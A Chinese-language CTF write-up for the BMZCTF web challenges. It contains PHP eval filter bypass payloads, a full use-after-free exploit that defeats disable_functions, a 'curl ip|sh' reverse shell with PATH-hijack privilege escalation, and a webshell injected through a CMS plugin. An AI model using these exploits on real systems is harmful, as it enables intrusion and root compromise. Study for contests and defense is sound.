第一屆BMZCTF公開賽-WEB-Writeup
前言
首先恭喜
白帽子社群團隊
成功舉辦第一屆BMZCTF公開賽,我是本次比賽MISC賽題Snake、Tiga的出題人末初
以下是我對於的這次BMZCTF公開賽的WEB
賽題的一些Writeup,如果有什麼寫的不對的還請師傅們留言斧正
ezeval
<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);
?>
這裡程式碼執行繞過方法很多
字串拼接繞過
cmd=(s.y.s.t.e.m)('cat /flag');
進位制編碼繞過
cmd=hex2bin('73797374656d')('cat /flag');
異或繞過
import string
char = string.printable
cmd = 'system'
tmp1,tmp2 = '',''
for res in cmd:
for i in char:
for j in char:
if(ord(i)^ord(j) == ord(res)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1,tmp2)
cmd=('0000000'^'CICDU]')('cat /flag');
還有很多別的方法可以繞過,就不一一贅述了
ezphp
<?php
highlight_file(__FILE__);
$cmd=$_POST['a'];
if(strlen($cmd) > 25){
die();
}else{
eval($cmd);
}
phpinfo()
檢視下
disable_functions
發現大量禁用函式
pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl
mail
gc_collect_cycles
getenv
unserialize
putenv
serialize
Imagick��
putenv
被過濾了,那LD_PRELOAD & putenv()
的bypass disable function
的方法肯定不行了
先繞過strlen()
限制,上線蟻劍
a=eval($_POST[mochu7]);&mochu7=phpinfo();
蟻劍的Bypass disable function
外掛無法支援利用
然後在先知找到一篇UAF bypass PHP disabled functions
的文章的exp可以利用
原文地址:https://xz.aliyun.com/t/8355#toc-3
exp.php
<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
for($j = 0;$j < $x;$j++) {
$a[$p + $j] = chr($i & 0xff);
$i >>= 8;
}
}
function s2i($s) {
$result = 0;
for ($x = 0;$x < strlen($s);$x++) {
$result <<= 8;
$result |= ord($s[$x]);
}
return $result;
}
function leak(&$a, $address) {
global $s;
i2s($a, 0x00, $address - 0x10);
return strlen($s -> current());
}
function getPHPChunk($maps) {
$pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
preg_match_all($pattern, $maps, $match);
foreach ($match[1] as $value) {
list($start, $end) = explode("-", $value);
if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
$address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
return $address;
}
}
}
function bomb1(&$a) {
if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
return (s2i($_GET["test1"]) & 0x7ffff0000000);
}else {
die("[!]Where is here");
}
}
function bomb2(&$a) {
$start = s2i($_GET["test2"]);
return getElement($a, array($start, $start + 0x200000, 0x200000));
die("[!]Not Found");
}
function getElement(&$a, $address) {
for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
$addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
for ($y = 0;$y < 5;$y++) {
if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
return $addr + $y * 0x08 - 0x18;
}
}
}
}
function getClosureChunk(&$a, $address) {
do {
$address = leak($a, $address);
}while(leak($a, $address) !== 0x00);
echo "[+]Closure Chunk: " . dechex($address) . "\n";
return $address;
}
function getSystem(&$a, $address) {
$start = $address & 0xffffffffffff0000;
$lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
for($i = 0; $i < 0x1000 * 0x80; $i++) {
$addr = $start - $i * 0x20;
if ($addr < $lowestAddr) {
break;
}
$nameAddr = leak($a, $addr);
if ($nameAddr > $address || $nameAddr < $lowestAddr) {
continue;
}
$name = dechex(leak($a, $nameAddr));
$name = str_pad($name, 16, "0", STR_PAD_LEFT);
$name = strrev(hex2bin($name));
$name = explode("\x00", $name)[0];
if($name === "system") {
return leak($a, $addr + 0x08);
}
}
}
class Trigger {
function __destruct() {
global $s;
unset($s[0]);
$a = str_shuffle(str_repeat("T", 0xf));
i2s($a, 0x00, 0x1234567812345678);
i2s($a, 0x08, 0x04, 7);
$s -> current();
$s -> next();
if ($s -> current() !== 0x1234567812345678) {
die("[!]UAF Failed");
}
$maps = file_get_contents("/proc/self/maps");
if (!$maps) {
cantRead($a);
}else {
canRead($maps, $a);
}
echo "[+]Done";
}
}
function bypass($elementAddress, &$a) {
global $s;
if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
die("[!]Get Closure Chunk Address Failed");
}
$closure_object = leak($a, $closureChunkAddress + 0x18);
echo "[+]Closure Object: " . dechex($closure_object) . "\n";
$closure_handlers = leak($a, $closure_object + 0x18);
echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
if(!($system_address = getSystem($a, $closure_handlers))) {
die("[!]Couldn't determine system address");
}
echo "[+]Find system's handler: " . dechex($system_address) . "\n";
i2s($a, 0x08, 0x506, 7);
for ($i = 0;$i < (0x130 / 0x08);$i++) {
$data = leak($a, $closure_object + 0x08 * $i);
i2s($a, 0x00, $closure_object + 0x30);
i2s($s -> current(), 0x08 * $i + 0x100, $data);
}
i2s($a, 0x00, $closure_object + 0x30);
i2s($s -> current(), 0x20, $system_address);
i2s($a, 0x00, $closure_object);
i2s($a, 0x08, 0x108, 7);
echo "[+]Executing command: \n";
($s -> current())("php -v");
}
function canRead($maps, &$a) {
global $s;
if (!$chunkAddress = getPHPChunk($maps)) {
die("[!]Get PHP Chunk Address Failed");
}
i2s($a, 0x08, 0x06, 7);
if (!$elementAddress = getElement($a, $chunkAddress)) {
die("[!]Get SplDoublyLinkedList Element Address Failed");
}
bypass($elementAddress, $a);
}
function cantRead(&$a) {
global $s;
i2s($a, 0x08, 0x06, 7);
if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
die("[!]Please try to get address of PHP Chunk");
}
if (isset($_GET["test1"])) {
die(dechex(bomb1($a)));
}
if (isset($_GET["test2"])) {
$elementAddress = bomb2($a);
}
if (!$elementAddress) {
die("[!]Get SplDoublyLinkedList Element Address Failed");
}
bypass($elementAddress, $a);
}
$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
$s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);
/tmp
目錄有寫入許可權,可以上傳檔案
將exp.php
上傳到/tmp
然後include('/tmp/exp.php')
即可執行命令
可以看到已經執行了php -v
執行/readflag
penetration
<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
$_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (strlen($ip) <= 18){
if (preg_match ('/' . $blacklisted . '/im', $ip)) {
die('nonono');
}else{
exec($ip);
}
}
else{
die("long");
}
}
}
?>
過濾了一些字元,exec無回顯,考慮反彈shell
限制了長度,所以直接輸入反彈shell的payload行不通
可以將反彈shell的payload寫在雲伺服器上,然後通過curl ip|sh
來反彈
這裡ip過濾了點,可以轉換為十進位制來彈
傳入?ip=curl ip的十進位制|sh
自己的伺服器監聽7777埠即可得到shell
得到shell後發現根目錄下沒有flag,猜測在root目錄下,需要進行提權
使用suid進行提權
檢視具有suid的命令
find / -perm -u=s -type f 2>/dev/null
發現一個奇怪的命令,執行一下
發現該命令使用了ps命令,並且未使用絕對路徑,所以可以嘗試更改$PATH來執行該檔案
環境變數提權
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH #將/tmp新增到環境變數中
love
BMZ_Market
檢視原始碼
嘗試偽協議讀取原始碼
/?lang=php://filter/read=convert.base64-encode/resource=index
<?php
$password ="Nevergiveup135." ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="BMZ Market">
<meta name="author" content="bmz">
<title>BMZ Market</title>
<link href="bootstrap.css" rel="stylesheet">
<link href="covers.css" rel="stylesheet">
</head>
<body class="text-center">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">BMZ Market</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="#">Home</a>
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
</nav>
</div>
</header>
<main role="main" class="inner cover">
<h1 class="cover-heading">Coming soon</h1>
<p class="lead">
<?php
if (isset($_GET['lang']))
{
echo $message;
}
else
{
?>
Believe in yourself, you can find the flag
<?php
}
?>
</p>
<p class="lead">
<a href="#" class="btn btn-lg btn-secondary">more</a>
</p>
</main>
<footer class="mastfoot mt-auto">
<div class="inner">
<p>Power by<a href="#">@kuaile</a></p>
</div>
</footer>
</div>
</body></html>
得到一個密碼:Nevergiveup135.
可能是後臺賬號密碼
接著資訊收集發現robots.txt
base64解碼得到AAencode編碼
aaencode
解碼:http://www.atoolbox.net/Tool.php?Id=703
alert("Challenger, the background of the website is -.../--/--../.-/-../--/../-.");
摩斯解碼:http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx
BMZADMIN
嘗試訪問bmadmin.php
使用者名稱填網站首頁的:kuaile
密碼填原始碼中發現的:Nevergiveup135.
登入後臺
檢視原始碼,在title中發現網站版本
不是什麼最新的版本,直接搜尋引擎找相關漏洞
直接參考:https://www.cnblogs.com/jinqi520/p/11274699.html
利用Weapp.php
檔案中的create()
方法接收了請求中的引數,過濾後直接存入php配置檔案中,但是由於過濾不嚴,導致可以直接寫入程式碼進去並執行。
首先點選功能開關
然後點選開啟
外掛應用
然後點選外掛應用
,點選外掛開發者
建立外掛,填寫相關資料,抓包
控制scene
引數寫入shell
&scene=bbb\',${eval($_POST[mochu7])},//
bmzadmin.php
成功寫入shell
上蟻劍,sudo -l
發現當前使用者可以root身份執行所有操作
相關文章
- CUSGA第一屆中國大學生遊戲開發創作大賽複賽名單公佈!遊戲開發
- 比賽結果公佈!第一屆CUSGA中國大學生遊戲開發創作大賽圓滿落幕!遊戲開發
- 第一屆C語言比賽答案C語言
- 獲獎公佈!OceanBase 第一屆技術徵文大賽圓滿收官!
- 第一屆天池 PolarDB 資料庫效能大賽資料庫
- QZEZ第一屆“飯吉圓”杯程式設計競賽程式設計
- 2014第六屆華為程式設計大賽初賽第一輪程式設計
- 第一屆SQL大賽第一期優秀解題思路彙總SQL
- 第一屆PolarDB資料庫效能大賽Java選手分享資料庫Java
- 【有獎徵文】第一屆 OceanBase 技術徵文大賽來啦!
- 2017第八屆天梯賽省賽C++C組【第一題:貪吃蛇長度】C++
- 區塊鏈服務網路BSN第三屆開發者大賽丨決賽入圍名單公佈!區塊鏈
- 第二屆中國旅遊極客開發大賽
- 全國首屆大模型創新創意應用大賽開啟,等你來賽!大模型
- 第十四屆藍橋杯第一期模擬賽 pythonPython
- 活動 | 第一屆“GBase技術文章”有獎徵文大賽活動公告
- 山東省第一屆ACM大學生程式設計競賽-Balloons(搜尋)ACM程式設計
- 收官!OceanBase第五屆技術徵文大賽獲獎名單公佈!
- "第一屆北京高校計算機輔助翻譯邀請賽" 頒獎儀式在圖靈召開計算機圖靈
- WIZnet助力Arduino中文社群第三屆開源硬體開發大賽!UI
- 2013第四屆藍橋杯省賽C++A組【第一題:高斯日記】C++
- 徵文大賽 | 第一屆“GBase技術文章”有獎徵文常見問題解答
- CSP-J國慶公開賽(三)T2
- 首屆HarmonyOS開發者創新大賽頒獎典禮於深圳召開
- 2021年度首屆中國遊戲創新大賽報名開始遊戲
- 【工作時間打王者】eBest 首屆“榮耀杯”比賽開幕啦!!!
- 數字安全公開賽正式開賽 探尋真實場景下安全風險最優解
- 2020 年第一屆遼寧省大學生程式設計競賽 D.開心消消樂(點分治)程式設計
- 模擬比賽-14屆研究生組C++省賽C++
- 第一屆國家智慧教育平臺資料創新應用活動參賽經驗分享
- 超600支隊伍報名!首屆“強基杯”資料安全技能競賽即將開賽
- NEO開啟首屆開發者大賽,打造區塊鏈應用生態區塊鏈
- 首屆AI方程式大賽,8圈開了一個小時AI
- [V&N2020 公開賽]easyTHeap writeup
- 【十萬大獎 ▎即將開賽】2017第三屆SSCTF全國網路安全大賽—5月6日線上初賽
- 第三屆華中地區邀請賽網路賽題解
- 第十五屆藍橋杯大賽軟體賽省賽 C/C++ 大學 A 組C++
- 第十屆省賽 B題.情報傳遞